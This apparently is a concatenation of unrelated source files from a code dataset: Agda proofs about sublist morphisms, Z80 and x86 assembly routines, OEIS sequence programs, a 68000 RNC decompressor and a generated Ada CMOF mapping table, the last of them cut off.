⊆-trans-∷ˡ⁻ₗ {τ = refl ∷ τ} {σ = refl ∷ σ} = refl ⊆-∷ˡ⁻trans-∷ : ∀ {y} {xs ys zs : List A} {τ : xs ⊆ ys} {σ : (y ∷ ys) ⊆ zs} → ∷ˡ⁻ (⊆-trans (refl ∷ τ) σ) ≡ ⊆-trans (y ∷ʳ τ) σ ⊆-∷ˡ⁻trans-∷ {σ = y ∷ʳ σ} = cong (y ∷ʳ_) ⊆-∷ˡ⁻trans-∷ ⊆-∷ˡ⁻trans-∷ {σ = refl ∷ σ} = refl ------------------------------------------------------------------------ -- Relationships to other predicates -- All P is a contravariant functor from _⊆_ to Set. All-resp-⊆ : {P : Pred A ℓ} → (All P) Respects _⊇_ All-resp-⊆ [] [] = [] All-resp-⊆ (_ ∷ʳ p) (_ ∷ xs) = All-resp-⊆ p xs All-resp-⊆ (refl ∷ p) (x ∷ xs) = x ∷ All-resp-⊆ p xs -- Any P is a covariant functor from _⊆_ to Set. Any-resp-⊆ : {P : Pred A ℓ} → (Any P) Respects _⊆_ Any-resp-⊆ = lookup ------------------------------------------------------------------------ -- Functor laws for All-resp-⊆ -- First functor law: identity. All-resp-⊆-refl : ∀ {P : Pred A ℓ} {xs : List A} → All-resp-⊆ ⊆-refl ≗ id {A = All P xs} All-resp-⊆-refl [] = refl All-resp-⊆-refl (p ∷ ps) = cong (p ∷_) (All-resp-⊆-refl ps) -- Second functor law: composition. All-resp-⊆-trans : ∀ {P : Pred A ℓ} {xs ys zs} {τ : xs ⊆ ys} (τ′ : ys ⊆ zs) → All-resp-⊆ {P = P} (⊆-trans τ τ′) ≗ All-resp-⊆ τ ∘ All-resp-⊆ τ′ All-resp-⊆-trans (_ ∷ʳ τ′) (p ∷ ps) = All-resp-⊆-trans τ′ ps All-resp-⊆-trans {τ = _ ∷ʳ _ } (refl ∷ τ′) (p ∷ ps) = All-resp-⊆-trans τ′ ps All-resp-⊆-trans {τ = refl ∷ _} (refl ∷ τ′) (p ∷ ps) = cong (p ∷_) (All-resp-⊆-trans τ′ ps) All-resp-⊆-trans {τ = [] } ([] ) [] = refl ------------------------------------------------------------------------ -- Functor laws for Any-resp-⊆ / lookup -- First functor law: identity. Any-resp-⊆-refl : ∀ {P : Pred A ℓ} {xs} → Any-resp-⊆ ⊆-refl ≗ id {A = Any P xs} Any-resp-⊆-refl (here p) = refl Any-resp-⊆-refl (there i) = cong there (Any-resp-⊆-refl i) lookup-⊆-refl = Any-resp-⊆-refl -- Second functor law: composition. Any-resp-⊆-trans : ∀ {P : Pred A ℓ} {xs ys zs} {τ : xs ⊆ ys} (τ′ : ys ⊆ zs) → Any-resp-⊆ {P = P} (⊆-trans τ τ′) ≗ Any-resp-⊆ τ′ ∘ Any-resp-⊆ τ Any-resp-⊆-trans (_ ∷ʳ τ′) i = cong there (Any-resp-⊆-trans τ′ i) Any-resp-⊆-trans {τ = _ ∷ʳ _} (_ ∷ τ′) i = cong there (Any-resp-⊆-trans τ′ i) Any-resp-⊆-trans {τ = _ ∷ _} (_ ∷ τ′) (there i) = cong there (Any-resp-⊆-trans τ′ i) Any-resp-⊆-trans {τ = refl ∷ _} (_ ∷ τ′) (here _) = refl Any-resp-⊆-trans {τ = [] } [] () lookup-⊆-trans = Any-resp-⊆-trans ------------------------------------------------------------------------ -- The `lookup` function for `xs ⊆ ys` is injective. -- -- Note: `lookup` can be seen as a strictly increasing reindexing function -- for indices into `xs`, producing indices into `ys`. lookup-injective : ∀ {P : Pred A ℓ} {xs ys} {τ : xs ⊆ ys} {i j : Any P xs} → lookup τ i ≡ lookup τ j → i ≡ j lookup-injective {τ = _ ∷ʳ _} = lookup-injective ∘′ there-injective lookup-injective {τ = x≡y ∷ _} {here _} {here _} = cong here ∘′ subst-injective x≡y ∘′ here-injective -- Note: instead of using subst-injective, we could match x≡y against refl on the lhs. -- However, this turns the following clause into a non-strict match. lookup-injective {τ = _ ∷ _} {there _} {there _} = cong there ∘′ lookup-injective ∘′ there-injective ------------------------------------------------------------------------- -- from∈ ∘ to∈ turns a sublist morphism τ : x∷xs ⊆ ys into a morphism -- [x] ⊆ ys. The same morphism is obtained by pre-composing τ with -- the canonial morphism [x] ⊆ x∷xs. -- -- Note: This lemma does not hold for Sublist.Setoid, but could hold for -- a hypothetical Sublist.Groupoid where trans refl = id. from∈∘to∈ : ∀ {x : A} {xs ys} (τ : x ∷ xs ⊆ ys) → from∈ (to∈ τ) ≡ ⊆-trans (refl ∷ minimum xs) τ from∈∘to∈ (x≡y ∷ τ) = cong (x≡y ∷_) ([]⊆-irrelevant _ _) from∈∘to∈ (y ∷ʳ τ) = cong (y ∷ʳ_) (from∈∘to∈ τ) from∈∘lookup : ∀{x : A} {xs ys} (τ : xs ⊆ ys) (i : x ∈ xs) → from∈ (lookup τ i) ≡ ⊆-trans (from∈ i) τ from∈∘lookup (y ∷ʳ τ) i = cong (y ∷ʳ_) (from∈∘lookup τ i) from∈∘lookup (_ ∷ τ) (there i) = cong (_ ∷ʳ_) (from∈∘lookup τ i) from∈∘lookup (refl ∷ τ) (here refl) = cong (refl ∷_) ([]⊆-irrelevant _ _) ------------------------------------------------------------------------ -- Weak pushout (wpo) -- A raw pushout is a weak pushout if the pushout square commutes. IsWeakPushout : ∀{xs ys zs : List A} {τ : xs ⊆ ys} {σ : xs ⊆ zs} → RawPushout τ σ → Set a IsWeakPushout {τ = τ} {σ = σ} rpo = ⊆-trans τ (RawPushout.leg₁ rpo) ≡ ⊆-trans σ (RawPushout.leg₂ rpo) -- Joining two list extensions with ⊆-pushout produces a weak pushout. ⊆-pushoutˡ-is-wpo : ∀{xs ys zs : List A} (τ : xs ⊆ ys) (σ : xs ⊆ zs) → IsWeakPushout (⊆-pushoutˡ τ σ) ⊆-pushoutˡ-is-wpo [] σ rewrite ⊆-trans-idʳ {τ = σ} = ⊆-trans-idˡ {xs = []} ⊆-pushoutˡ-is-wpo (y ∷ʳ τ) σ = cong (y ∷ʳ_) (⊆-pushoutˡ-is-wpo τ σ) ⊆-pushoutˡ-is-wpo (x≡y ∷ τ) (z ∷ʳ σ) = cong (z ∷ʳ_) (⊆-pushoutˡ-is-wpo (x≡y ∷ τ) σ) ⊆-pushoutˡ-is-wpo (refl ∷ τ) (refl ∷ σ) = cong (refl ∷_) (⊆-pushoutˡ-is-wpo τ σ) ------------------------------------------------------------------------ -- Properties of disjointness -- From τ₁ ⊎ τ₂ = τ, compute the injection ι₁ such that τ₁ = ⊆-trans ι₁ τ. DisjointUnion-inj₁ : ∀ {xs ys zs xys : List A} {τ₁ : xs ⊆ zs} {τ₂ : ys ⊆ zs} {τ : xys ⊆ zs} → DisjointUnion τ₁ τ₂ τ → ∃ λ (ι₁ : xs ⊆ xys) → ⊆-trans ι₁ τ ≡ τ₁ DisjointUnion-inj₁ [] = [] , refl DisjointUnion-inj₁ (y ∷ₙ d) = _ , cong (y ∷ʳ_) (proj₂ (DisjointUnion-inj₁ d)) DisjointUnion-inj₁ (x≈y ∷ₗ d) = refl ∷ _ , cong (x≈y ∷_) (proj₂ (DisjointUnion-inj₁ d)) DisjointUnion-inj₁ (x≈y ∷ᵣ d) = _ ∷ʳ _ , cong (_ ∷ʳ_) (proj₂ (DisjointUnion-inj₁ d)) -- From τ₁ ⊎ τ₂ = τ, compute the injection ι₂ such that τ₂ = ⊆-trans ι₂ τ. DisjointUnion-inj₂ : ∀ {xs ys zs xys : List A} {τ₁ : xs ⊆ zs} {τ₂ : ys ⊆ zs} {τ : xys ⊆ zs} → DisjointUnion τ₁ τ₂ τ → ∃ λ (ι₂ : ys ⊆ xys) → ⊆-trans ι₂ τ ≡ τ₂ DisjointUnion-inj₂ [] = [] , refl DisjointUnion-inj₂ (y ∷ₙ d) = _ , cong (y ∷ʳ_) (proj₂ (DisjointUnion-inj₂ d)) DisjointUnion-inj₂ (x≈y ∷ᵣ d) = refl ∷ _ , cong (x≈y ∷_) (proj₂ (DisjointUnion-inj₂ d)) DisjointUnion-inj₂ (x≈y ∷ₗ d) = _ ∷ʳ _ , cong (_ ∷ʳ_) (proj₂ (DisjointUnion-inj₂ d)) -- A sublist σ disjoint to both τ₁ and τ₂ is an equalizer -- for the separators of τ₁ and τ₂. equalize-separators : ∀ {us xs ys zs : List A} {σ : us ⊆ zs} {τ₁ : xs ⊆ zs} {τ₂ : ys ⊆ zs} (let s = separateˡ τ₁ τ₂) → Disjoint σ τ₁ → Disjoint σ τ₂ → ⊆-trans σ (Separation.separator₁ s) ≡ ⊆-trans σ (Separation.separator₂ s) equalize-separators [] [] = refl equalize-separators (y ∷ₙ d₁) (.y ∷ₙ d₂) = cong (y ∷ʳ_) (equalize-separators d₁ d₂) equalize-separators (y ∷ₙ d₁) (refl ∷ᵣ d₂) = cong (y ∷ʳ_) (equalize-separators d₁ d₂) equalize-separators (refl ∷ᵣ d₁) (y ∷ₙ d₂) = cong (y ∷ʳ_) (equalize-separators d₁ d₂) equalize-separators {τ₁ = refl ∷ _} {τ₂ = refl ∷ _} -- match here to work around deficiency of Agda's forcing translation (_ ∷ᵣ d₁) (_ ∷ᵣ d₂) = cong (_ ∷ʳ_) (cong (_ ∷ʳ_) (equalize-separators d₁ d₂)) equalize-separators (x≈y ∷ₗ d₁) (.x≈y ∷ₗ d₂) = cong (trans x≈y refl ∷_) (equalize-separators d₁ d₂)
libsrc/gfx/narrow/stencil_render2.asm
ahjelm/z88dk
640
91685
<gh_stars>100-1000 ; ; z88dk GFX library ; Render the "stencil" - plot/unplot based version. ; Stefano - Jul 2017 ; ; Render the "stencil". ; The dithered horizontal lines base their pattern on the Y coordinate ; and on an 'intensity' parameter (0..11). ; Basic concept by <NAME> ; ; Machine code version by <NAME>, 22/4/2009 ; ; stencil_render(unsigned char *stencil, unsigned char intensity) ; INCLUDE "graphics/grafix.inc" IF !__CPU_INTEL__ & !__CPU_GBZ80__ SECTION code_graphics PUBLIC stencil_render PUBLIC _stencil_render EXTERN dither_pattern EXTERN plotpixel, respixel EXTERN __gfx_coords EXTERN swapgfxbk EXTERN __graphics_end ; ; $Id: stencil_render2.asm - Stefano Exp, 2017 $ ; .stencil_render ._stencil_render push ix ld ix,4 add ix,sp IF NEED_swapgfxbk = 1 call swapgfxbk ENDIF ;ld bc,__graphics_end ;push bc ld c,maxy % 256 ld hl,(__gfx_coords) push hl push bc .yloop pop bc dec c ;jp z,swapgfxbk1 jr nz,noret pop hl ld (__gfx_coords),hl IF NEED_swapgfxbk jp __graphics_end ELSE IF !__CPU_INTEL__ & !__CPU_GBZ80__ pop ix ENDIF ret ENDIF .noret push bc ld d,0 ld e,c ld l,(ix+2) ; stencil ld h,(ix+3) add hl,de ld a,(hl) ;X1 IF maxy <> 256 ld e,maxy add hl,de ELSE ld e,0 inc h ENDIF cp (hl) ; if x1>x2, return jr nc,yloop ; C still holds Y push af ; X1 ld a,(hl) ld b,a ; X2 ld a,(ix+0) ; intensity call dither_pattern ;ld (pattern2+1),a ld e,a pop af ; X1 ld d,a ; X1 ; adjust horizontal pattern position for the current line and 7 .pattern_shift rrc e ; shifted pattern dec a jr nz,pattern_shift ld a,b ; X2 sub d ; X2-X1 = line lenght in pixels ld b,d ; X1 ld d,a inc d ld l,c ; Y .xloop ;;;ld h,a ; X1 rrc e ; shifted pattern push hl push de push bc ;push af ld h,b ; X1 ld l,c jr nc,do_unplot call plotpixel jr done .do_unplot call respixel .done ;pop af pop bc pop de pop hl inc b dec d jr nz,xloop jr yloop ENDIF
programs/oeis/047/A047619.asm
neoneye/loda
22
25975
<filename>programs/oeis/047/A047619.asm ; A047619: Numbers that are congruent to {1, 2, 5} mod 8. ; 1,2,5,9,10,13,17,18,21,25,26,29,33,34,37,41,42,45,49,50,53,57,58,61,65,66,69,73,74,77,81,82,85,89,90,93,97,98,101,105,106,109,113,114,117,121,122,125,129,130,133,137,138,141,145,146,149,153,154,157,161,162,165,169,170,173,177,178,181,185,186,189,193,194,197,201,202,205,209,210,213,217,218,221,225,226,229,233,234,237,241,242,245,249,250,253,257,258,261,265 mul $0,8 mov $1,3 mov $2,$0 div $0,3 gcd $1,$2 div $1,2 add $1,1 add $1,$0 sub $1,1 mov $0,$1
c_asm/17-passing_args_in_asm/src/loop.asm
karng87/nasm_game
0
12514
<gh_stars>0 extern printf section .data fmt db "%d", 0x0A, 0 section .bss section .text global main main: mov rax, 0 .lp: inc rax push rax mov rdi, fmt mov rsi, rax mov rax, 0 call printf pop rax cmp rax, 100 jl .lp mov rax, 60 mov rdi, 0 syscall
Projects/PJZ2/Framework/Depack/RNC_Depack_1.asm
jonathanbennett73/amiga-pjz-planet-disco-balls
21
1976
*------------------------------------------------------------------------------ * PRO-PACK Unpack Source Code - MC68000, Method 1 * * Copyright (c) 1991,92 <NAME>, U.K. All Rights Reserved. * * File: RNC_1.S * * Date: 24.3.92 *------------------------------------------------------------------------------ *------------------------------------------------------------------------------ * Conditional Assembly Flags *------------------------------------------------------------------------------ CHECKSUMS EQU 0 ; set this flag to 1 if you require ; the data to be validated PROTECTED EQU 0 ; set this flag to 1 if you are unpacking ; a file packed with option "-K" *------------------------------------------------------------------------------ * Return Codes *------------------------------------------------------------------------------ NOT_PACKED EQU 0 PACKED_CRC EQU -1 UNPACKED_CRC EQU -2 *------------------------------------------------------------------------------ * Other Equates *------------------------------------------------------------------------------ PACK_TYPE EQU 1 PACK_ID EQU "R"<<24+"N"<<16+"C"<<8+PACK_TYPE HEADER_LEN EQU 18 MIN_LENGTH EQU 2 CRC_POLY EQU $A001 RAW_TABLE EQU 0 POS_TABLE EQU RAW_TABLE+16*8 LEN_TABLE EQU POS_TABLE+16*8 IFEQ CHECKSUMS BUFSIZE EQU 16*8*3 ELSEIF BUFSIZE EQU 512 ENDC counts EQUR d4 key EQUR d5 bit_buffer EQUR d6 bit_count EQUR d7 input EQUR a3 input_hi EQUR a4 output EQUR a5 output_hi EQUR a6 *------------------------------------------------------------------------------ * Macros *------------------------------------------------------------------------------ getrawREP MACRO getrawREP2\@ move.b (input)+,(output)+ IFNE PROTECTED eor.b key,-1(output) ENDC dbra d0,getrawREP2\@ IFNE PROTECTED ror.w #1,key ENDC ENDM *------------------------------------------------------------------------------ * PRO-PACK Unpack Routine - MC68000, Method 1 * * on entry, * d0.l = packed data key, or 0 if file was not packed with a key * a0.l = start address of packed file * a1.l = start address to write unpacked file * on exit, * d0.l = length of unpacked file in bytes OR error code * 0 = not a packed file * -1 = packed data CRC error * -2 = unpacked data CRC error * * all other registers are preserved *------------------------------------------------------------------------------ RNC_Unpack movem.l d0-d7/a0-a6,-(sp) lea -BUFSIZE(sp),sp move.l sp,a2 IFNE PROTECTED move.w d0,key ENDC bsr read_long moveq.l #NOT_PACKED,d1 cmp.l #PACK_ID,d0 bne unpack16 bsr read_long move.l d0,BUFSIZE(sp) lea HEADER_LEN-8(a0),input move.l a1,output lea (output,d0.l),output_hi bsr read_long lea (input,d0.l),input_hi IFNE CHECKSUMS move.l input,a1 bsr crc_block lea -6(input),a0 bsr read_long moveq.l #PACKED_CRC,d1 cmp.w d2,d0 bne unpack16 swap d0 move.w d0,-(sp) ENDC clr.w -(sp) cmp.l input_hi,output bcc.s unpack7 moveq.l #0,d0 move.b -2(input),d0 lea (output_hi,d0.l),a0 cmp.l input_hi,a0 bls.s unpack7 addq.w #2,sp move.l input_hi,d0 btst #0,d0 beq.s unpack2 addq.w #1,input_hi addq.w #1,a0 unpack2 move.l a0,d0 btst #0,d0 beq.s unpack3 addq.w #1,a0 unpack3 moveq.l #0,d0 unpack4 cmp.l a0,output_hi beq.s unpack5 move.b -(a0),d1 move.w d1,-(sp) addq.b #1,d0 bra.s unpack4 unpack5 move.w d0,-(sp) add.l d0,a0 IFNE PROTECTED move.w key,-(sp) ENDC unpack6 lea -8*4(input_hi),input_hi movem.l (input_hi),d0-d7 movem.l d0-d7,-(a0) cmp.l input,input_hi bhi.s unpack6 sub.l input_hi,input add.l a0,input IFNE PROTECTED move.w (sp)+,key ENDC unpack7 moveq.l #0,bit_count move.b 1(input),bit_buffer rol.w #8,bit_buffer move.b (input),bit_buffer moveq.l #2,d0 moveq.l #2,d1 bsr input_bits unpack8 move.l a2,a0 bsr make_huftable lea POS_TABLE(a2),a0 bsr make_huftable lea LEN_TABLE(a2),a0 bsr make_huftable unpack9 moveq.l #-1,d0 moveq.l #16,d1 bsr input_bits move.w d0,counts subq.w #1,counts bra.s unpack12 unpack10 lea POS_TABLE(a2),a0 moveq.l #0,d0 bsr.s input_value neg.l d0 lea -1(output,d0.l),a1 lea LEN_TABLE(a2),a0 bsr.s input_value move.b (a1)+,(output)+ unpack11 move.b (a1)+,(output)+ dbra d0,unpack11 unpack12 move.l a2,a0 bsr.s input_value subq.w #1,d0 bmi.s unpack13 getrawREP move.b 1(input),d0 rol.w #8,d0 move.b (input),d0 lsl.l bit_count,d0 moveq.l #1,d1 lsl.w bit_count,d1 subq.w #1,d1 and.l d1,bit_buffer or.l d0,bit_buffer unpack13 dbra counts,unpack10 cmp.l output_hi,output bcs.s unpack8 move.w (sp)+,d0 beq.s unpack15 IFNE CHECKSUMS move.l output,a0 ENDC unpack14 move.w (sp)+,d1 IFNE CHECKSUMS move.b d1,(a0)+ ELSEIF move.b d1,(output)+ ENDC subq.b #1,d0 bne.s unpack14 unpack15 IFNE CHECKSUMS move.l BUFSIZE+2(sp),d0 sub.l d0,output move.l output,a1 bsr crc_block moveq.l #UNPACKED_CRC,d1 cmp.w (sp)+,d2 beq.s unpack17 ELSEIF bra.s unpack17 ENDC unpack16 move.l d1,BUFSIZE(sp) unpack17 lea BUFSIZE(sp),sp movem.l (sp)+,d0-d7/a0-a6 rts input_value move.w (a0)+,d0 and.w bit_buffer,d0 sub.w (a0)+,d0 bne.s input_value move.b 16*4-4(a0),d1 sub.b d1,bit_count bge.s input_value2 bsr.s input_bits3 input_value2 lsr.l d1,bit_buffer move.b 16*4-3(a0),d0 cmp.b #2,d0 blt.s input_value4 subq.b #1,d0 move.b d0,d1 move.b d0,d2 move.w 16*4-2(a0),d0 and.w bit_buffer,d0 sub.b d1,bit_count bge.s input_value3 bsr.s input_bits3 input_value3 lsr.l d1,bit_buffer bset d2,d0 input_value4 rts input_bits and.w bit_buffer,d0 sub.b d1,bit_count bge.s input_bits2 bsr.s input_bits3 input_bits2 lsr.l d1,bit_buffer rts input_bits3 add.b d1,bit_count lsr.l bit_count,bit_buffer swap bit_buffer addq.w #4,input move.b -(input),bit_buffer rol.w #8,bit_buffer move.b -(input),bit_buffer swap bit_buffer sub.b bit_count,d1 moveq.l #16,bit_count sub.b d1,bit_count rts read_long moveq.l #3,d1 read_long2 lsl.l #8,d0 move.b (a0)+,d0 dbra d1,read_long2 rts make_huftable moveq.l #$1f,d0 moveq.l #5,d1 bsr.s input_bits subq.w #1,d0 bmi.s make_huftable8 move.w d0,d2 move.w d0,d3 lea -16(sp),sp move.l sp,a1 make_huftable3 moveq.l #$f,d0 moveq.l #4,d1 bsr.s input_bits move.b d0,(a1)+ dbra d2,make_huftable3 moveq.l #1,d0 ror.l #1,d0 moveq.l #1,d1 moveq.l #0,d2 movem.l d5-d7,-(sp) make_huftable4 move.w d3,d4 lea 12(sp),a1 make_huftable5 cmp.b (a1)+,d1 bne.s make_huftable7 moveq.l #1,d5 lsl.w d1,d5 subq.w #1,d5 move.w d5,(a0)+ move.l d2,d5 swap d5 move.w d1,d7 subq.w #1,d7 make_huftable6 roxl.w #1,d5 roxr.w #1,d6 dbra d7,make_huftable6 moveq.l #16,d5 sub.b d1,d5 lsr.w d5,d6 move.w d6,(a0)+ move.b d1,16*4-4(a0) move.b d3,d5 sub.b d4,d5 move.b d5,16*4-3(a0) moveq.l #1,d6 subq.b #1,d5 lsl.w d5,d6 subq.w #1,d6 move.w d6,16*4-2(a0) add.l d0,d2 make_huftable7 dbra d4,make_huftable5 lsr.l #1,d0 addq.b #1,d1 cmp.b #17,d1 bne.s make_huftable4 movem.l (sp)+,d5-d7 lea 16(sp),sp make_huftable8 rts IFNE CHECKSUMS crc_block move.l a2,a0 moveq.l #0,d3 crc_block2 move.l d3,d1 moveq.l #7,d2 crc_block3 lsr.w #1,d1 bcc.s crc_block4 eor.w #CRC_POLY,d1 crc_block4 dbra d2,crc_block3 move.w d1,(a0)+ addq.b #1,d3 bne.s crc_block2 moveq.l #0,d2 crc_block5 move.b (a1)+,d1 eor.b d1,d2 move.w d2,d1 and.w #$ff,d2 add.w d2,d2 move.w (a2,d2.w),d2 lsr.w #8,d1 eor.b d1,d2 subq.l #1,d0 bne.s crc_block5 rts ENDC
programs/oeis/090/A090409.asm
neoneye/loda
22
160030
<reponame>neoneye/loda ; A090409: 7*8^n/9+2(-1)^n/9. ; 1,6,50,398,3186,25486,203890,1631118,13048946,104391566,835132530,6681060238,53448481906,427587855246,3420702841970,27365622735758,218924981886066,1751399855088526,14011198840708210,112089590725665678 mov $2,$0 mul $2,3 seq $2,171160 ; a(n) = a(n-1) + 2a(n-2) with a(0)=3, a(1)=4. mov $0,$2 div $0,3
source/amf/mof/cmof/amf-internals-tables-cmof_attribute_mappings.ads
svn2github/matreshka
24
9276
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2010-2013, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.Internals.Tables.CMOF_Types; package AMF.Internals.Tables.CMOF_Attribute_Mappings is pragma Preelaborate; CMOF_Collection_Offset : constant array (AMF.Internals.Tables.CMOF_Types.Element_Kinds, AMF.Internals.CMOF_Element range 34 .. 78) of AMF.Internals.AMF_Collection_Of_Element := (AMF.Internals.Tables.CMOF_Types.E_None => (others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Association => (43 => 9, -- Classifier::attribute 58 => 4, -- Namespace::elementImport 34 => 15, -- Association::endType 44 => 10, -- Classifier::feature 45 => 11, -- Classifier::general 59 => 3, -- Namespace::importedMember 46 => 12, -- Classifier::inheritedMember 60 => 7, -- Namespace::member 35 => 16, -- Association::memberEnd 36 => 17, -- Association::navigableOwnedEnd 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 37 => 14, -- Association::ownedEnd 61 => 6, -- Namespace::ownedMember 62 => 8, -- Namespace::ownedRule 63 => 5, -- Namespace::packageImport 77 => 13, -- Relationship::relatedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Class => (43 => 9, -- Classifier::attribute 58 => 4, -- Namespace::elementImport 44 => 10, -- Classifier::feature 45 => 11, -- Classifier::general 59 => 3, -- Namespace::importedMember 46 => 12, -- Classifier::inheritedMember 60 => 7, -- Namespace::member 40 => 13, -- Class::ownedAttribute 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 61 => 6, -- Namespace::ownedMember 41 => 14, -- Class::ownedOperation 62 => 8, -- Namespace::ownedRule 63 => 5, -- Namespace::packageImport 42 => 15, -- Class::superClass others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Comment => (47 => 3, -- Comment::annotatedElement 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Constraint => (48 => 3, -- Constraint::constrainedElement 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Data_Type => (43 => 9, -- Classifier::attribute 58 => 4, -- Namespace::elementImport 44 => 10, -- Classifier::feature 45 => 11, -- Classifier::general 59 => 3, -- Namespace::importedMember 46 => 12, -- Classifier::inheritedMember 60 => 7, -- Namespace::member 49 => 13, -- DataType::ownedAttribute 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 61 => 6, -- Namespace::ownedMember 50 => 14, -- DataType::ownedOperation 62 => 8, -- Namespace::ownedRule 63 => 5, -- Namespace::packageImport others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Element_Import => (53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 77 => 13, -- Relationship::relatedElement 51 => 3, -- DirectedRelationship::source 52 => 4, -- DirectedRelationship::target others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Enumeration => (43 => 9, -- Classifier::attribute 58 => 4, -- Namespace::elementImport 44 => 10, -- Classifier::feature 45 => 11, -- Classifier::general 59 => 3, -- Namespace::importedMember 46 => 12, -- Classifier::inheritedMember 60 => 7, -- Namespace::member 49 => 13, -- DataType::ownedAttribute 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 55 => 15, -- Enumeration::ownedLiteral 61 => 6, -- Namespace::ownedMember 50 => 14, -- DataType::ownedOperation 62 => 8, -- Namespace::ownedRule 63 => 5, -- Namespace::packageImport others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Enumeration_Literal => (53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Expression => (56 => 3, -- Expression::operand 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Opaque_Expression => (53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Operation => (58 => 4, -- Namespace::elementImport 57 => 11, -- Feature::featuringClassifier 59 => 3, -- Namespace::importedMember 60 => 7, -- Namespace::member 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 61 => 6, -- Namespace::ownedMember 64 => 16, -- Operation::ownedParameter 38 => 12, -- BehavioralFeature::ownedParameter 62 => 8, -- Namespace::ownedRule 63 => 5, -- Namespace::packageImport 65 => 18, -- Operation::postcondition 66 => 17, -- Operation::precondition 67 => 14, -- Operation::raisedException 39 => 13, -- BehavioralFeature::raisedException 75 => 10, -- RedefinableElement::redefinedElement 68 => 15, -- Operation::redefinedOperation 76 => 9, -- RedefinableElement::redefinitionContext others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Package => (58 => 4, -- Namespace::elementImport 59 => 3, -- Namespace::importedMember 60 => 7, -- Namespace::member 69 => 11, -- Package::nestedPackage 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 61 => 6, -- Namespace::ownedMember 62 => 8, -- Namespace::ownedRule 70 => 10, -- Package::ownedType 63 => 5, -- Namespace::packageImport 71 => 12, -- Package::packageMerge 72 => 9, -- Package::packagedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Package_Import => (53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 77 => 13, -- Relationship::relatedElement 51 => 3, -- DirectedRelationship::source 52 => 4, -- DirectedRelationship::target others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Package_Merge => (53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 77 => 13, -- Relationship::relatedElement 51 => 3, -- DirectedRelationship::source 52 => 4, -- DirectedRelationship::target others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Parameter => (53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Primitive_Type => (43 => 9, -- Classifier::attribute 58 => 4, -- Namespace::elementImport 44 => 10, -- Classifier::feature 45 => 11, -- Classifier::general 59 => 3, -- Namespace::importedMember 46 => 12, -- Classifier::inheritedMember 60 => 7, -- Namespace::member 49 => 13, -- DataType::ownedAttribute 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 61 => 6, -- Namespace::ownedMember 50 => 14, -- DataType::ownedOperation 62 => 8, -- Namespace::ownedRule 63 => 5, -- Namespace::packageImport others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Property => (57 => 11, -- Feature::featuringClassifier 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement 75 => 10, -- RedefinableElement::redefinedElement 73 => 3, -- Property::redefinedProperty 76 => 